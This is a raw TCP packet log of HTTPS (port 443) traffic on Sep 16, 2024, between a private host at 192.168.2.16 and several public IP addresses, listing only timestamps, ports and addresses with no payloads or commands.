Sep 16, 2024 21:11:13.333831072 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.333854914 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.333862066 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.333904028 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.333961010 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.334666967 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.334721088 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.334724903 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.334842920 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.334892035 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.334896088 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.334963083 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.335004091 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.335088968 CEST	49709	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.335102081 CEST	443	49709	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.345544100 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.345581055 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.345657110 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.345922947 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.345933914 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.353463888 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.353494883 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.353578091 CEST	49707	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.353607893 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.353645086 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.353657961 CEST	49707	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.353667021 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.353692055 CEST	49707	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.353720903 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.353774071 CEST	49707	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.354085922 CEST	49707	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.354100943 CEST	443	49707	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.357842922 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.357867002 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.365423918 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.365457058 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.365537882 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.365809917 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.365823030 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.405427933 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.405469894 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.405534983 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.405560017 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.405610085 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.405613899 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.405661106 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.405909061 CEST	49711	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.405925035 CEST	443	49711	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.420649052 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:13.420684099 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:13.420777082 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:13.421077967 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:13.421091080 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:13.613848925 CEST	49708	443	192.168.2.16	104.17.24.14
Sep 16, 2024 21:11:13.613886118 CEST	443	49708	104.17.24.14	192.168.2.16
Sep 16, 2024 21:11:13.897900105 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.898168087 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.898184061 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.898889065 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.899097919 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:13.899260044 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.899271965 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.899506092 CEST	49713	443	192.168.2.16	104.17.25.14
Sep 16, 2024 21:11:13.899561882 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:13.900731087 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.900819063 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.901062012 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.901129961 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.901274920 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:13.901350975 CEST	49713	443	192.168.2.16	104.17.25.14
Sep 16, 2024 21:11:13.901463032 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.901536942 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.903949976 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.904150009 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.904706955 CEST	49713	443	192.168.2.16	104.17.25.14
Sep 16, 2024 21:11:13.904830933 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:13.905791044 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.905798912 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:13.905874014 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:13.905881882 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:13.906007051 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:13.906023026 CEST	49713	443	192.168.2.16	104.17.25.14
Sep 16, 2024 21:11:13.906049013 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:13.906713009 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:13.906723022 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:13.907951117 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:13.908025026 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:13.908876896 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:13.908946037 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:13.909065008 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:13.909074068 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:13.949863911 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:13.949865103 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:13.949896097 CEST	49713	443	192.168.2.16	104.17.25.14
Sep 16, 2024 21:11:13.949923038 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:14.006957054 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:14.015204906 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:14.015228987 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:14.015269995 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:14.015316963 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:14.015369892 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:14.015429020 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:14.015429020 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:14.034437895 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:14.034506083 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:14.034543991 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:14.034574986 CEST	49713	443	192.168.2.16	104.17.25.14
Sep 16, 2024 21:11:14.034599066 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:14.034611940 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:14.034648895 CEST	49713	443	192.168.2.16	104.17.25.14
Sep 16, 2024 21:11:14.034848928 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:14.034883976 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:14.034902096 CEST	49713	443	192.168.2.16	104.17.25.14
Sep 16, 2024 21:11:14.034929991 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:14.034989119 CEST	49713	443	192.168.2.16	104.17.25.14
Sep 16, 2024 21:11:14.035634041 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.035761118 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.035835981 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:14.035841942 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.035888910 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.035943031 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:14.035950899 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:14.035989046 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.036138058 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.036192894 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:14.036212921 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.036318064 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.036375046 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:14.036389112 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.036474943 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.036534071 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:14.036547899 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.039113998 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:14.039150953 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:14.039201975 CEST	49713	443	192.168.2.16	104.17.25.14
Sep 16, 2024 21:11:14.039223909 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:14.039283991 CEST	49713	443	192.168.2.16	104.17.25.14
Sep 16, 2024 21:11:14.039303064 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:14.040636063 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.040783882 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.040851116 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:14.040870905 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.040991068 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.041038990 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:14.041049957 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.041186094 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.041232109 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:14.041240931 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.041661024 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.041706085 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:14.041716099 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.045706987 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.045773983 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:14.045802116 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.045953989 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.046001911 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:14.046015024 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.076873064 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:14.076930046 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.092200994 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:14.092849970 CEST	49713	443	192.168.2.16	104.17.25.14
Sep 16, 2024 21:11:14.101901054 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:14.101959944 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:14.102008104 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:14.102039099 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:14.102067947 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:14.102088928 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:14.106380939 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:14.106640100 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:14.106663942 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:14.107037067 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:14.107105017 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:14.107781887 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:14.107836962 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:14.108409882 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:14.108459949 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:14.108511925 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:14.108534098 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:14.108557940 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:14.108577013 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:14.124886036 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:14.128118992 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:14.128272057 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:14.128331900 CEST	49713	443	192.168.2.16	104.17.25.14
Sep 16, 2024 21:11:14.128375053 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:14.128551960 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:14.128613949 CEST	49713	443	192.168.2.16	104.17.25.14
Sep 16, 2024 21:11:14.129410028 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:14.129498959 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.129554033 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:14.129612923 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:14.129620075 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:14.129672050 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.129723072 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:14.129736900 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.129889011 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.129937887 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:14.129949093 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.130096912 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.130281925 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.130342960 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:14.130357027 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.130434036 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.130453110 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.130486965 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:14.130496979 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.130527020 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:14.130538940 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.130718946 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.130767107 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:14.130775928 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.131210089 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.131268978 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:14.131283998 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.131371975 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.131426096 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:14.131439924 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.131465912 CEST	49713	443	192.168.2.16	104.17.25.14
Sep 16, 2024 21:11:14.131500959 CEST	443	49713	104.17.25.14	192.168.2.16
Sep 16, 2024 21:11:14.131568909 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.131618977 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:14.131628990 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.131772995 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.131819963 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:14.131829023 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.131961107 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.132019043 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:14.132019997 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.132030010 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.132102013 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.132102013 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:14.132129908 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.132199049 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:14.132216930 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.132577896 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.132626057 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:14.132635117 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.132772923 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.132847071 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:14.132855892 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.132977962 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.133045912 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:14.133059978 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.133143902 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.133223057 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.133236885 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:14.133251905 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.133305073 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:14.133317947 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.133517027 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.133563042 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:14.133573055 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.133838892 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.133897066 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:14.133910894 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.134074926 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.134139061 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:14.134152889 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.135972023 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.136033058 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:14.136045933 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.167743921 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.167845964 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:14.167865992 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.168019056 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.168077946 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:14.168090105 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.168325901 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.168394089 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:14.168504953 CEST	49714	443	192.168.2.16	104.18.10.207
Sep 16, 2024 21:11:14.168531895 CEST	443	49714	104.18.10.207	192.168.2.16
Sep 16, 2024 21:11:14.171822071 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:14.187815905 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:14.192923069 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:14.192984104 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:14.193025112 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:14.193065882 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:14.193103075 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:14.193104982 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:14.193125010 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:14.193137884 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:14.193164110 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:14.193274021 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:14.193337917 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:14.193486929 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:14.193515062 CEST	443	49715	151.101.130.137	192.168.2.16
Sep 16, 2024 21:11:14.193538904 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:14.193566084 CEST	49715	443	192.168.2.16	151.101.130.137
Sep 16, 2024 21:11:14.218585968 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.218657970 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.218744040 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:14.218777895 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.218796015 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:14.218841076 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:14.219101906 CEST	49716	443	192.168.2.16	104.18.11.207
Sep 16, 2024 21:11:14.219116926 CEST	443	49716	104.18.11.207	192.168.2.16
Sep 16, 2024 21:11:15.309010983 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.309043884 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.309052944 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.309066057 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.309103012 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.309170961 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.309205055 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.309222937 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.309286118 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.315804958 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.315836906 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.315937996 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.315951109 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.315998077 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.320249081 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.320271969 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.320375919 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.320383072 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.320430994 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.324577093 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.324598074 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.324664116 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.324671030 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.324706078 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.324743032 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.325813055 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.325834990 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.325921059 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.325927019 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.325980902 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.326467991 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.326548100 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.326553106 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.327279091 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.327352047 CEST	49712	443	192.168.2.16	43.157.144.205
Sep 16, 2024 21:11:15.327358961 CEST	443	49712	43.157.144.205	192.168.2.16
Sep 16, 2024 21:11:15.329446077 CEST	443	49712	43.157.144.205	192.168.2.16
